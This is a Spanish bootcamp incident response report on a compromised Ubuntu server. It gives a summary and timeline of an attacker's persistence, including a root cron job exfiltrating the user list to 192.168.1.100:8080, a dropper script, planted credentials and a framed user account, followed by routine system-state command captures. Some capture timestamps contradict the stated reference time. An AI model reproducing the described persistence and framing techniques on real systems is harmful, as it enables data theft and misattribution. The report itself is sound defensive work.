

# Live Incident Response

Proyecto Final Bootcamp Cybersecurity - 4Geeks Academy



**Cliente:** 4Geeks Academy

**Sistema afectado:** 4geeks-server · Ubuntu 20.04.6 LTS · Kernel 5.4.0-216-generic · VM: Oracle

**IP (inicial):** 192.168.68.111/24 (DHCP)

**Fecha/Hora de encargo (UTC):** 2025-08-06 19:05:43Z

**Analista responsable:** Diego Barreiro — Especialista en Ciberseguridad (Blue Team, Junior)

**Contacto:** barreir01dieg0@gmail.com

**Clasificación:** Confidencial — Uso interno de 4Geeks Academy.

# Sumario

Biografía profesional.....	4
1. Solicitud y condiciones operativas.....	4
2. Resumen ejecutivo.....	5
3. Alcance y limitaciones.....	5
4. Metodología y convenciones.....	6
5. Cronología consolidada (UTC).....	7
6. Análisis en vivo.....	8
6.1. Identidad del host y referencia temporal (T0).....	8
6.1.1. Hora del sistema en UTC (T0).....	8
6.1.2. Huella del sistema: SO, kernel y virtualización.....	8
6.2. Observación general del sistema (salud básica).....	9
6.2.1. Tiempo de actividad y carga.....	9
6.2.2. Memoria y swap.....	9
6.2.3. Foto puntual de procesos (CPU/RAM).....	10
6.3. Procesos activos.....	11
6.3.1. Procesos ordenados por momento de inicio (recientes al final).....	11
6.3.2. Árbol de procesos (relaciones padre-hijo).....	13
6.4. Estado y configuración de red (base).....	15
6.4.1. Interfaces y direcciones asignadas.....	15
6.4.2. Rutas activas y puerta de enlace.....	15
6.4.3. DNS efectivo en el host.....	16
6.4.4. Servidores DNS ascendentes (systemd-resolved).....	17
6.4.5. Netplan: obtención de IP por DHCP.....	18
6.4.6. Concesión DHCP (lease) y ventana de validez.....	19
6.5. Superficie expuesta y cortafuegos.....	20
6.5.1. Puertos en escucha y servicios.....	20
6.5.2. UFW: política y reglas.....	20
6.5.3. Puertos declarados por Apache.....	21
6.5.4. VirtualHost por defecto.....	22
6.5.5. Módulo SSL de Apache.....	22
6.5.6. FTP: parámetros de seguridad.....	23
6.6. Persistencias y ejecución programada (cron).....	24
6.6.1. Inventario de /etc/cron.d/.....	24
6.6.2. Contenido exacto de la entrada cron.....	24
6.6.3. Script ejecutado por la cron: metadatos.....	25
6.6.4. Script ejecutado por la cron: contenido.....	25
6.6.5. Evidencia de ejecuciones periódicas de cron.....	25
6.6.6. Crontab del sistema (baseline).....	26
6.6.7. Spool de crontabs por usuario.....	26
6.6.8. Crontab personal de root.....	27
6.6.9. Crontab personal de sysadmin.....	27
6.6.10. Periódicos estándar (daily/hourly/weekly).....	28
6.6.11. Persistencias alternativas y timers.....	29
6.7. Accesos por SSH (política y eventos).....	30
6.7.1. Usuarios locales con $UID \geq 1000$ (cuentas “humanas”).....	30
6.7.2. Configuración base de SSH e inclusiones.....	31
6.7.3. Override de SSH (cloud-init).....	32
6.7.4. Claves autorizadas de sysadmin.....	33
6.7.5. Intentos de autenticación fallidos (SSH).....	33
6.7.6. Inicios de sesión aceptados (SSH).....	33
6.7.7. Historial de sesiones y reinicios.....	34

6.7.8. Estado del servicio SSH en systemd.....	34
6.7.9. Alias/inexistencia de sshd.service.....	35
6.7.10. Habilitación al arranque de SSH.....	35
6.8. Delegación de privilegios (sudo / sudoers / TTY).....	36
6.8.1. Capacidades de sudo para sysadmin.....	36
6.8.2. Contenido activo de /etc/sudoers.....	36
6.8.3. Overrides en /etc/sudoers.d.....	37
6.8.4. Estructura SSH de root y claves.....	38
6.8.5. Comandos sudo sensibles (trazabilidad en logs).....	39
6.8.6. Origen de la sesión privilegiada (TTY).....	39
6.8.7. Cuenta “hacker”: alta y trazas de gestión.....	40
6.8.8. Cuenta “hacker”: política de contraseña.....	40
6.9. Artefactos bajo HOME y evidencias de siembra.....	41
6.9.1. Contenido y tiempos en /home/reports.....	41
6.9.2. bash_history de reports: metadatos.....	41
6.9.3. install.sh: metadatos.....	42
6.9.4. install.sh: contenido (dropper).....	42
6.9.5. bash_history de sysadmin: metadatos.....	43
6.9.6. bash_history de sysadmin: extracto con siembra.....	43
6.9.7. Creación de /opt/.archive (14:00–14:15 UTC).....	44
6.9.8. credentials.txt: metadatos.....	44
6.9.9. credentials.txt: contenido.....	45
6.9.10. Reutilización del secreto (búsqueda).....	45
6.9.11. Dirección IP incongruente (102.168.1.100).....	45
6.9.12. Indicador 192.168.1.100 en múltiples ubicaciones.....	46
6.9.13. Archivo oculto .note en reports (metadatos).....	46
6.9.14. Patrones de red/secretos bajo HOME (resumen).....	47
6.10. Conectividad hacia el IoC (192.168.1.100).....	48
6.10.1. Ruta efectiva hacia 192.168.1.100.....	48
6.10.2. Comprobación de sockets activos hacia el IoC.....	48
6.11. Integridad y archivos “deleted” aún abiertos.....	49
6.11.1. Archivos eliminados aún abiertos.....	49
6.12. Inventario temporal y binarios SUID.....	50
6.12.1. Timeline sencillo de cambios en /root y /home.....	50
6.12.2. Binarios con bit SUID.....	51
6.13. Hashes SHA-256 de evidencias clave.....	52
6.13.1. Cálculo agrupado de hashes (trazabilidad).....	52
7. Conclusiones del incidente principal.....	53
8. Mitigaciones del incidente.....	54
9. Incidentes paralelos y mitigaciones.....	55
9.1. Wazuh (agente/FIM).....	55
9.2. Firewall/UFW.....	55
10. Otras vulnerabilidades detectadas y mitigaciones.....	56
11. Tablas de evidencias (SHA-256) e Índices de Compromiso (IoC).....	57
11.1. Tabla — Evidencias y hashes (SHA-256).....	57
11.2. Tabla de Índices de Compromiso (IoC).....	58
12. Anexos.....	60
13. Referencias y glosario.....	61
13.1. Referencias.....	61
13.2. Glosario.....	61

# Biografía profesional

## **Diego Barreiro**

Especialista en Ciberseguridad (Blue Team, Junior). Experiencia en Live Incident Response en Linux. Competencias en IoC, CVE, tareas programadas y superficie expuesta (SSH/HTTP/Firewall). Marco NIST SP 800-61, ISO 27001 y ENS; foco en integridad de evidencias (SHA-256) y mitigaciones verificables.

## **Contacto**

barreir01dieg0@gmail.com.

## 1. Solicitud y condiciones operativas

### **Solicitud**

4Geeks Academy reporta comportamientos anómalos en un servidor en producción y solicita respuesta en vivo sin apagar el sistema.

### **Condiciones**

La disponibilidad del servicio es prioritaria. El acceso se realiza por SSH con credenciales de *sysadmin* facilitadas por el cliente. Cualquier acción que modifique el sistema requiere aprobación previa.

### **Alcance operativo**

Trabajo en vivo, en modo lectura (sin retirar persistencias ni aplicar cambios). La referencia horaria única (T0) y el uso de UTC se detallarán en la sección de Metodología (Sección 4).

## **2. Resumen ejecutivo**

**El 23 de junio se creó en el servidor una tarea automática que, cada quince minutos y con permisos completos, enviaba la lista de cuentas del equipo a la dirección 192.168.1.100:8080. Las primeras ejecuciones se repitieron de forma continua esa tarde, lo que confirma el intervalo. La secuencia más probable fue: alguien accedió con una contraseña válida, preparó un pequeño programa y dio de alta la tarea automática.**

Esto fue posible porque el acceso remoto aceptaba contraseñas en lugar de llaves, en esencia más seguras, el servidor podía iniciar conexiones hacia fuera sin límites y algunos servicios funcionaban “en claro”, es decir, sin protección durante el tránsito de los datos. Los registros sitúan la preparación desde el propio equipo o del gestor de la máquina, no en remoto, y muestran señales colocadas para desviar la autoría hacia otro usuario.

El efecto observado afecta a la reserva de la información ya que se envió la lista de usuarios del sistema. No se detectaron cambios no autorizados ni caídas del servicio pero sí intentos incriminatorios de desviar la atención hacia otros usuarios. Al cierre, la tarea seguía activa.

Se recomienda: quitar de forma ordenada la tarea y el programa guardando las pruebas; bloquear por defecto las conexiones que salgan del servidor (incluida la de 192.168.1.100:8080) y permitir solo las necesarias; reforzar el acceso remoto para que no use contraseñas; retirar o asegurar el “FTP” (un método antiguo de intercambio de archivos que no va protegido) y activar “HTTPS” (la versión segura para la web).

## **3. Alcance y limitaciones**

### **Alcance**

Único host: 4geeks-server (Ubuntu 20.04.6 LTS, kernel 5.4.0-216-generic, VM Oracle). Se revisan accesos, procesos y servicios, tareas programadas, red y cortafuegos, registros del sistema y de servicios, mecanismos de persistencia y postura de seguridad básica. Nota: El detalle de direccionamiento/IP por DHCP se trata en 6.2 (Estado de red).

### **Limitaciones**

Intervención en vivo orientada a observación (modo lectura). La solidez de ciertas conclusiones depende de la retención de registros y de la ventana temporal disponible.

### **Exclusiones**

Análisis forense offline (imagen de disco/RAM), pruebas de intrusión completas y cambios de configuración o parcheo en la máquina analizada.

## **4. Metodología y convenciones**

### **Tiempos**

Todo el informe usa UTC y un único punto de anclaje temporal T0: 2025-08-19 19:39:41Z (ver Captura 01). En cada captura se contrasta la hora cuando procede.

### **Enfoque**

Observacional, no intrusivo y sin instalación de herramientas adicionales en el sistema analizado, evitando alterar estado, configuración o cronologías internas.

### **Evidencias**

Cada evidencia se documenta con el comando ejecutado y su captura de salida, acompañadas de una descripción neutral que enlaza hallazgos cuando aporta claridad.

### **Integridad**

Se calculan hashes SHA-256 de artefactos clave para trazabilidad y verificación independiente (tabla en el capítulo 11; cálculo agrupado en Captura 70).

### **Preparación previa**

Snapshot de la VM original (UTC): 2025-08-06 18:55:07Z. Clonado independiente para pruebas activas (nunca sobre el servidor original).

### **Pruebas activas externas**

Únicamente en el clon (Nmap) con su propio T0 de escaneo y evidencias en el apartado 12 (Anexos), manteniendo red equivalente y aislamiento operativo.

### **Operativa**

Acceso por SSH desde estación de análisis, sesiones paralelas para adquisición y documentación, y captura sistemática de salidas relevantes para asegurar reproducibilidad y custodia lógica.

## 5. Cronología consolidada (UTC)

Hora (UTC)	Evento	Evidencia	Observación
2025-06-23 12:53	Reinicio del sistema	Ver 6.7.7, Captura 37	Marca de arranque previa a la ventana crítica.
2025-06-23 14:07	Creación de reports/.note	Captura 63	Artefacto de siembra previo a la cron.
2025-06-23 14:09–14:10	/opt/.archive/credentials.txt (mkdir → tee → chmod)	Ver 6.9.7, Captura 57	Ejecución con sudo desde TTY local.
2025-06-23 14:18–14:20	Inyecciones en reports/.bash_history	Captura 56	Siembra de historial (varios tee -a).
2025-06-23 14:19:54	Modify de reports/.bash_history	Ver 6.9.2, Captura 52	Marca mtime coherente con las inyecciones.
2025-06-23 14:23–14:41	Creación y chown de install.sh, backup.log, chat.txt	Captura 51	Preparación del dropper en reports.
2025-06-23 14:28 / 14:31	reports/install.sh creado/modificado	Ver 6.9, Capturas 53–54	Dropper listo antes de la cron.
2025-06-23 15:02	directorio /home/hacker presente	Captura 49	Alta del home sin eventos useradd en journal.
2025-06-23 15:06	backup2.sh presente	Ver 6.6.3, Captura 22	Script de exfiltración preparado.
2025-06-23 15:08	Alta de /etc/cron.d/sys-maintenance	Ver 6.6.1–6.6.2, Capturas 20–21	Persistencia cada 15'.
2025-06-23 15:15/30/45/16:00	Ejecuciones periódicas	Ver 6.6.5, Captura 24	4 marcas seguidas (:00/:15/:30/:45).
2025-06-23 16:43	/var/backups/.logs/creds.txt (tee → chmod)	Captura 60	Duplicado del secreto de /opt/.archive.
2025-08-19 19:39:41	T0 del análisis	Ver 6.1, Captura 1	Inicio formal de la observación.

## 6. Análisis en vivo

### 6.1. Identidad del host y referencia temporal (T0)

#### 6.1.1. Hora del sistema en UTC (T0)

Comando: date -u

```
sysadmin@4geeks-server:~$ date -u
Tue 19 Aug 2025 07:39:41 PM UTC
sysadmin@4geeks-server:~$ █
```

Captura 1: Hora del sistema en UTC. — UTC: 2025-08-19T19:39:41Z

**Resultado:** Se fija Tue 19 Aug 2025 07:39:41 PM UTC. Sirve como una referencia temporal única en UTC para todo el informe. Esto evita desajustes entre zonas horarias y facilita correlacionar registros, marcas de tiempo de archivos y eventos del sistema sin ambigüedades.

#### 6.1.2. Huella del sistema: SO, kernel y virtualización

Comando: hostnamectl

```
sysadmin@4geeks-server:~$ hostnamectl
  Static hostname: 4geeks-server
    Icon name: computer-vm
      Chassis: vm
    Machine ID: 92e337bfab6d49ab8421fbb605b48cd7
        Boot ID: 9d582f5168d8451c8a34c22ebd6ce6b6
  Virtualization: oracle
Operating System: Ubuntu 20.04.6 LTS
          Kernel: Linux 5.4.0-216-generic
      Architecture: x86-64
sysadmin@4geeks-server:~$ █
```

Captura 2: Identidad del host (SO, kernel, virtualización). — UTC: 2025-08-19T19:41:11Z

**Resultado:** Ubuntu 20.04.6 LTS, kernel 5.4.0-216, en VM Oracle. Esta “ficha técnica” orienta sobre configuraciones por defecto, ciclo de vida de paquetes y compatibilidad. También sugiere que el acceso a consola podría realizarse desde el hipervisor.

## 6.2. Observación general del sistema (salud básica)

### 6.2.1. Tiempo de actividad y carga

Comando: uptime

```
sysadmin@4geeks-server:~$ uptime
19:52:57 up 19 min,  2 users,  load average: 0.00, 0.00, 0.00
sysadmin@4geeks-server:~$ █
```

Captura 3: Uptime y cargas 1/5/15 min. — UTC: 2025-08-19T19:52:57Z

**Resultado:** Se observa cuánto tiempo lleva encendido el sistema y las cargas promedio. Las cargas están dentro de valores normales para un servidor con servicios ligeros; no hay picos sostenidos que sugieran procesos anómalos.

### 6.2.2. Memoria y swap

Comando: free -h

```
sysadmin@4geeks-server:~$ free -h
              total        used        free      shared  buff/cache   available
Mem:       3.8Gi       191Mi      2.8Gi       1.0Mi       827Mi      3.4Gi
Swap:      3.1Gi        0B       3.1Gi
sysadmin@4geeks-server:~$ █
```

Captura 4: Uso de memoria y swap. —UTC: 2025-08-19T19:53:04Z

**Resultado:** La memoria libre y la swap se mantienen en rangos normales; no se observan presiones de memoria que expliquen comportamientos extraños tampoco existe un consumo inusual de swap ni reserva excesiva.

### 6.2.3. Foto puntual de procesos (CPU/RAM)

Comando: top -bn1 | head -n 20

```
sysadmin@4geeks-server:~$ top -bn1 | head -n 20
top - 14:29:42 up 3 min,  2 users,  load average: 0.05, 0.07, 0.03
Tasks: 122 total,   1 running, 121 sleeping,   0 stopped,   0 zombie
%Cpu(s):  3.2 us,  0.0 sy,  0.0 ni, 90.3 id,  0.0 wa,  0.0 hi,  6.5 si,  0.0 st
MiB Mem : 3919.9 total, 3413.9 free,   178.8 used,   327.3 buff/cache
MiB Swap: 3167.0 total, 3167.0 free,     0.0 used. 3514.2 avail Mem

      PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM TIME+ COMMAND
 102 root      0 -20      0      0    0 I 13.3  0.0 0:00.21 kworker/1:1H-kblockd
1934 sysadmin  20  0  9116  3672  3216 R  6.7  0.1 0:00.01 top
  1 root      20  0 169900 11676  8620 S  0.0  0.3 0:03.36 systemd
  2 root      20  0      0      0    0 S  0.0  0.0 0:00.02 kthreadd
  3 root      0 -20      0      0    0 I  0.0  0.0 0:00.00 rcu_gp
  4 root      0 -20      0      0    0 I  0.0  0.0 0:00.00 rcu_par_gp
  5 root      20  0      0      0    0 I  0.0  0.0 0:00.00 kworker/0:0-events
  6 root      0 -20      0      0    0 I  0.0  0.0 0:00.00 kworker/0:0H-kblockd
  7 root      20  0      0      0    0 I  0.0  0.0 0:00.12 kworker/u4:0-events_power_efficient
  8 root      0 -20      0      0    0 I  0.0  0.0 0:00.00 mm_percpu_wq
  9 root      20  0      0      0    0 S  0.0  0.0 0:00.04 ksoftirqd/0
 10 root      20  0      0      0    0 I  0.0  0.0 0:00.22 rCU_sched
 11 root      rt  0      0      0    0 S  0.0  0.0 0:00.01 migration/0
sysadmin@4geeks-server:~$
```

Captura 5: instantánea de procesos más activos. — UTC: 2025-08-13T14:29:42

**Resultado:** La instantánea muestra consumo estable y sin procesos inesperados en cabeza (no aparecen intérpretes o herramientas de red consumiendo CPU de forma destacada). Es una “foto” puntual, útil como contexto inicial.

## 6.3. Procesos activos

### 6.3.1. Procesos ordenados por momento de inicio (recientes al final)

Comando: ps aux --sort=start\_time

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	1.3	0.2	169900	11676	?	Ss	14:26	0:03	/sbin/init maybe-ubiquity
root	2	0.0	0.0	0	0	?	S	14:26	0:00	[kthreadd]
root	3	0.0	0.0	0	0	?	I<	14:26	0:00	[rcu_gp]
root	4	0.0	0.0	0	0	?	I<	14:26	0:00	[rcu_par_gp]
root	5	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/0:0-events]
root	6	0.0	0.0	0	0	?	I<	14:26	0:00	[kworker/0:0H-kblockd]
root	7	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/u4:0-events_freezable_power_]
root	8	0.0	0.0	0	0	?	I<	14:26	0:00	[mm_percpu_wq]
root	9	0.0	0.0	0	0	?	S	14:26	0:00	[ksoftirqd/0]
root	10	0.1	0.0	0	0	?	I	14:26	0:00	[rcu_sched]
root	11	0.0	0.0	0	0	?	S	14:26	0:00	[migration/0]
root	12	0.0	0.0	0	0	?	S	14:26	0:00	[idle_inject/0]
root	13	0.3	0.0	0	0	?	I	14:26	0:00	[kworker/0:1-mm_percpu_wq]
root	14	0.0	0.0	0	0	?	S	14:26	0:00	[cpuhp/0]
root	15	0.0	0.0	0	0	?	S	14:26	0:00	[cpuhp/1]
root	16	0.0	0.0	0	0	?	S	14:26	0:00	[idle_inject/1]
root	17	0.4	0.0	0	0	?	S	14:26	0:01	[migration/1]
root	18	0.0	0.0	0	0	?	S	14:26	0:00	[ksoftirqd/1]
root	19	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/1:0-events]
root	20	0.0	0.0	0	0	?	I<	14:26	0:00	[kworker/1:0H-kblockd]
root	21	0.0	0.0	0	0	?	S	14:26	0:00	[kdevtmpfs]
root	22	0.0	0.0	0	0	?	I<	14:26	0:00	[netns]
root	23	0.0	0.0	0	0	?	S	14:26	0:00	[rcu_tasks_kthre]
root	24	0.0	0.0	0	0	?	S	14:26	0:00	[kaudit]
root	25	0.0	0.0	0	0	?	S	14:26	0:00	[khungtaskd]
root	26	0.0	0.0	0	0	?	S	14:26	0:00	[oom_reaper]
root	27	0.0	0.0	0	0	?	I<	14:26	0:00	[writeback]
root	28	0.0	0.0	0	0	?	S	14:26	0:00	[kcompactd0]
root	29	0.0	0.0	0	0	?	SN	14:26	0:00	[ksmd]
root	30	0.0	0.0	0	0	?	SN	14:26	0:00	[khugepaged]
root	34	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/1:1-cgroup_destroy]
root	77	0.0	0.0	0	0	?	I<	14:26	0:00	[kintegrityd]
root	78	0.0	0.0	0	0	?	I<	14:26	0:00	[kblockd]
root	79	0.0	0.0	0	0	?	I<	14:26	0:00	[blkcg_punt_bio]
root	80	0.0	0.0	0	0	?	I<	14:26	0:00	[tpm_dev_wq]
root	81	0.0	0.0	0	0	?	I<	14:26	0:00	[ata_sff]
root	82	0.0	0.0	0	0	?	I<	14:26	0:00	[md]
root	83	0.0	0.0	0	0	?	I<	14:26	0:00	[edac-poller]
root	84	0.0	0.0	0	0	?	I<	14:26	0:00	[devfreq_wq]
root	85	0.0	0.0	0	0	?	S	14:26	0:00	[watchdogd]
root	86	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/u4:1-scsi_tmfc_0]
root	88	0.0	0.0	0	0	?	S	14:26	0:00	[kswapd0]
root	89	0.0	0.0	0	0	?	S	14:26	0:00	[ecryptfs-kthrea]
root	91	0.0	0.0	0	0	?	I<	14:26	0:00	[kthrotld]
root	92	0.0	0.0	0	0	?	I<	14:26	0:00	[acpi_thermal_pm]
root	93	0.0	0.0	0	0	?	S	14:26	0:00	[scsi_eh_0]
root	94	0.0	0.0	0	0	?	I<	14:26	0:00	[scsi_tmfc_0]
root	95	0.0	0.0	0	0	?	S	14:26	0:00	[scsi_eh_1]
root	96	0.0	0.0	0	0	?	I<	14:26	0:00	[scsi_tmfc_1]
root	97	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/u4:2-scsi_tmfc_0]
root	98	0.0	0.0	0	0	?	I<	14:26	0:00	[vfio-irqfd-clea]
root	99	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/u4:3-events_unbound]
root	100	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/0:2-events]
root	101	0.0	0.0	0	0	?	I<	14:26	0:00	[kworker/0:1H-kblockd]
root	102	0.0	0.0	0	0	?	I<	14:26	0:00	[kworker/1:1H-kblockd]
root	103	0.0	0.0	0	0	?	I<	14:26	0:00	[ipv6_addrconf]
root	112	0.0	0.0	0	0	?	I<	14:26	0:00	[kstrt]
root	115	0.0	0.0	0	0	?	I<	14:26	0:00	[kworker/u5:0]
root	128	0.0	0.0	0	0	?	I<	14:26	0:00	[charger_manager]
root	172	0.0	0.0	0	0	?	I	14:26	0:00	[kworker/1:2-events]
root	173	0.2	0.0	0	0	?	I	14:26	0:00	[kworker/1:3-events]
root	174	0.0	0.0	0	0	?	I<	14:26	0:00	[cryptd]
root	177	0.0	0.0	0	0	?	S	14:26	0:00	[scsi_eh_2]

Parte\_A: Captura 6

```

root      115 0.0 0.0    0   0 ?    I< 14:26 0:00 [kworker/u5:0]
root     128 0.0 0.0    0   0 ?    I< 14:26 0:00 [charger_manager]
root     172 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/1:2-events]
root     173 0.2 0.0    0   0 ?    I< 14:26 0:00 [kworker/1:3-events]
root     174 0.0 0.0    0   0 ?    I< 14:26 0:00 [cryptd]
root     177 0.0 0.0    0   0 ?    S  14:26 0:00 [scsi_eh_2]
root     185 0.0 0.0    0   0 ?    I< 14:26 0:00 [scsi_tmfc_2]
root     218 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/0:3-cgroup_destroy]
root     220 0.0 0.0    0   0 ?    S  14:26 0:00 [irq/18-vmwgfx]
root     221 0.0 0.0    0   0 ?    I< 14:26 0:00 [ttm_swap]
root     252 0.0 0.0    0   0 ?    I< 14:26 0:00 [raid5sq]
root     295 0.0 0.0    0   0 ?    S  14:26 0:00 [jbd2/sda2-8]
root     296 0.0 0.0    0   0 ?    I< 14:26 0:00 [ext4-rsv-conver]
root     366 0.0 0.4 43956 17888 ?  S< 14:26 0:00 /lib/systemd/systemd-journald
root     385 0.0 0.0 2488 580 ?    S  14:26 0:00 bpfilter_umb
root     391 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/1:4-events]
root     424 0.0 0.1 22640 6320 ?  Ss 14:26 0:00 /lib/systemd/systemd-udevd
root     486 0.0 0.0    0   0 ?    I< 14:26 0:00 [ipt-VBoxQueue]
root     620 0.0 0.0    0   0 ?    I< 14:26 0:00 [kaluad]
root     621 0.0 0.0    0   0 ?    I< 14:26 0:00 [kmpath_rdacd]
root     622 0.0 0.0    0   0 ?    I< 14:26 0:00 [kmpathd]
root     623 0.0 0.0    0   0 ?    I< 14:26 0:00 [kmpath_handlerd]
root     624 0.0 0.4 280200 18000 ?  SLsl 14:26 0:00 /sbin/multipathd -d -s
root     634 0.0 0.0    0   0 ?    S< 14:26 0:00 [loop0]
root     635 0.0 0.0    0   0 ?    S< 14:26 0:00 [loop1]
root     636 0.0 0.0    0   0 ?    S< 14:26 0:00 [loop2]
systemd+ 651 0.0 0.1 90880 6104 ?  Ssl 14:26 0:00 /lib/systemd/systemd-timesyncd
systemd+ 688 0.0 0.1 27264 7716 ?  Ss  14:26 0:00 /lib/systemd/systemd-networkd
systemd+ 690 0.0 0.3 25476 13088 ?  Ss  14:26 0:00 /lib/systemd/systemd-resolved
root     702 0.0 0.1 235576 7520 ?  Ssl 14:26 0:00 /usr/lib/accountsservice/accounts-daemon
root     708 0.0 0.0 6816 2984 ?    Ss 14:26 0:00 /usr/bin/cron -f
message+ 710 0.0 0.1 7572 4672 ?  Ss  14:26 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root     717 0.0 0.0 81828 3828 ?  Ssl 14:26 0:00 /usr/bin/irbalance --foreground
root     718 0.0 0.0 29668 18768 ?  Ss  14:26 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root     719 0.0 0.1 232732 6948 ?  Ssl 14:26 0:00 /usr/lib/policykit-1/polkitd --no-debug
syslog    720 0.0 0.1 224344 4952 ?  Ssl 14:26 0:00 /usr/sbin/rsyslogd -n -INONE
root     723 0.1 0.7 1319796 30248 ?  Ssl 14:26 0:00 /usr/lib/snapd/snapd
root     738 0.0 0.1 17508 7764 ?    Ss 14:26 0:00 /lib/systemd/systemd-logind
root     742 0.0 0.3 393268 12440 ?  Ssl 14:26 0:00 /usr/lib/udisks2/udisksd
daemon    751 0.0 0.0 3796 2300 ?    Ss 14:26 0:00 /usr/sbin/atd -f
root     761 0.0 0.1 12188 7544 ?    Ss 14:26 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root     762 0.0 0.0 6808 3024 ?    Ss 14:26 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root     771 0.0 0.0 5996 3952 ttty1 Ss 14:26 0:00 /bin/login -p --
root     801 0.0 0.2 315112 11748 ?  Ssl 14:26 0:00 /usr/sbin/ModemManager
root     804 0.0 0.1 6540 5200 ?    Ss 14:26 0:00 /usr/sbin/apache2 -k start
root     883 0.0 0.5 107924 20664 ?  Ssl 14:26 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root     923 0.0 0.0 25880 3840 ?    Sl 14:26 0:00 /var/ossec/bin/wazuh-execd
www-data 960 0.0 0.1 1211420 4616 ?  Sl 14:26 0:00 /usr/sbin/apache2 -k start
www-data 961 0.0 0.1 1211420 4616 ?  Sl 14:26 0:00 /usr/sbin/apache2 -k start
wazuh    1089 0.0 0.1 173620 7404 ?  Sl 14:26 0:00 /var/ossec/bin/wazuh-agentd
root     1106 0.0 0.2 124280 8308 ?  SNL 14:26 0:00 /var/ossec/bin/wazuh-syscheckd
root     1117 0.0 0.2 528084 9964 ?  Sl 14:26 0:00 /var/ossec/bin/wazuh-logcollector
root     1133 0.0 0.4 535264 17356 ?  Sl 14:26 0:00 /var/ossec/bin/wazuh-modulesd
root     1463 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/1:5-events]
root     1464 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/1:6-events]
root     1465 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/1:7]
root     1466 0.0 0.0    0   0 ?    I  14:26 0:00 [kworker/1:8-cgroup_destroy]
sysadmin 1781 0.0 0.2 19056 9772 ?  Ss 14:27 0:00 /lib/systemd/systemd --user
sysadmin 1786 0.0 0.0 171252 3452 ?  S  14:27 0:00 (sd-pam)
sysadmin 1795 0.0 0.1 8264 5224 ttty1 S+ 14:27 0:00 -bash
root     1830 0.0 0.2 13936 9092 ?  Ss 14:28 0:00 sshd: sysadmin [priv]
sysadmin 1923 0.0 0.1 14068 6084 ?  S  14:29 0:00 sshd: sysadmin@pts/0
sysadmin 1924 0.0 0.1 8276 5292 pts/0 Ss 14:29 0:00 -bash
sysadmin 1951 0.0 0.0 9040 3396 pts/0 R+ 14:30 0:00 ps aux --sort=start_time
sysadmin@geeks-server:~$
```

Captura 6: (Parte\_B) Listado de procesos por tiempo de inicio. — UTC: 2025-08-22T12:35:43Z

**Resultado:** Permite identificar procesos lanzados recientemente y su usuario de ejecución. No se observan procesos anómalos en rutas inusuales (p. ej., /tmp o directorios ocultos) en este muestreo.

### 6.3.2. Árbol de procesos (relaciones padre-hijo)

Comando: pstree -p

```
sysadmin@4geeks-server:~$ pstree -p
systemd(1)─{ModemManager}(799)─{ModemManager}(882)
                  └─{ModemManager}(882)
accounts-daemon(702)─{accounts-daemon}(778)
                      └─{accounts-daemon}(785)
apache2(811)─apache2(923)─{apache2}(925)
                  ├─{apache2}(926)
                  ├─{apache2}(927)
                  ├─{apache2}(928)
                  ├─{apache2}(929)
                  ├─{apache2}(930)
                  ├─{apache2}(931)
                  ├─{apache2}(932)
                  ├─{apache2}(933)
                  ├─{apache2}(934)
                  ├─{apache2}(935)
                  ├─{apache2}(936)
                  ├─{apache2}(937)
                  ├─{apache2}(938)
                  ├─{apache2}(939)
                  ├─{apache2}(940)
                  ├─{apache2}(941)
                  ├─{apache2}(942)
                  ├─{apache2}(943)
                  ├─{apache2}(944)
                  ├─{apache2}(945)
                  ├─{apache2}(946)
                  ├─{apache2}(947)
                  ├─{apache2}(948)
                  ├─{apache2}(949)
                  └─{apache2}(950)
apache2(951)─{apache2}(953)
                  ├─{apache2}(954)
                  ├─{apache2}(955)
                  ├─{apache2}(956)
                  ├─{apache2}(957)
                  ├─{apache2}(958)
                  ├─{apache2}(959)
                  ├─{apache2}(960)
                  ├─{apache2}(961)
                  ├─{apache2}(962)
                  ├─{apache2}(963)
                  ├─{apache2}(964)
                  ├─{apache2}(965)
                  ├─{apache2}(966)
                  ├─{apache2}(967)
                  ├─{apache2}(968)
                  ├─{apache2}(969)
                  ├─{apache2}(970)
                  ├─{apache2}(971)
                  ├─{apache2}(972)
                  ├─{apache2}(973)
                  ├─{apache2}(974)
                  ├─{apache2}(975)
                  ├─{apache2}(976)
                  └─{apache2}(977)
                  └─{apache2}(978)
atd(739)
cron(706)
dbus-daemon(707)
irqbalance(718)─{irqbalance}(776)
```

Parte\_A: Captura\_7

```

    |-irqbalance(718)---{irqbalance}(776)
    |  \-login(760)---bash(1793)
    \-multipathd(625)---{multipathd}(626)
      \-{multipathd}(627)
      \-{multipathd}(628)
      \-{multipathd}(629)
      \-{multipathd}(630)
      \-{multipathd}(631)
    -networkd-dispat(719)
    -polkitd(720)---{polkitd}(782)
      \-{polkitd}(786)
    -rsyslogd(721)---{rsyslogd}(743)
      \-{rsyslogd}(744)
      \-{rsyslogd}(745)
    -snapd(2102)---{snapd}(2110)
      \-{snapd}(2111)
      \-{snapd}(2112)
      \-{snapd}(2113)
      \-{snapd}(2117)
      \-{snapd}(2147)
      \-{snapd}(2354)
      \-{snapd}(2355)
      \-{snapd}(2358)
    -sshd(769)---sshd(1829)---sshd(1931)---bash(1932)---pstree(3146)
    -systemd(1779)---(sd-pam)(1787)
    -systemd-journal(365)
    -systemd-logind(727)
    -systemd-network(688)
    -systemd-resolve(690)
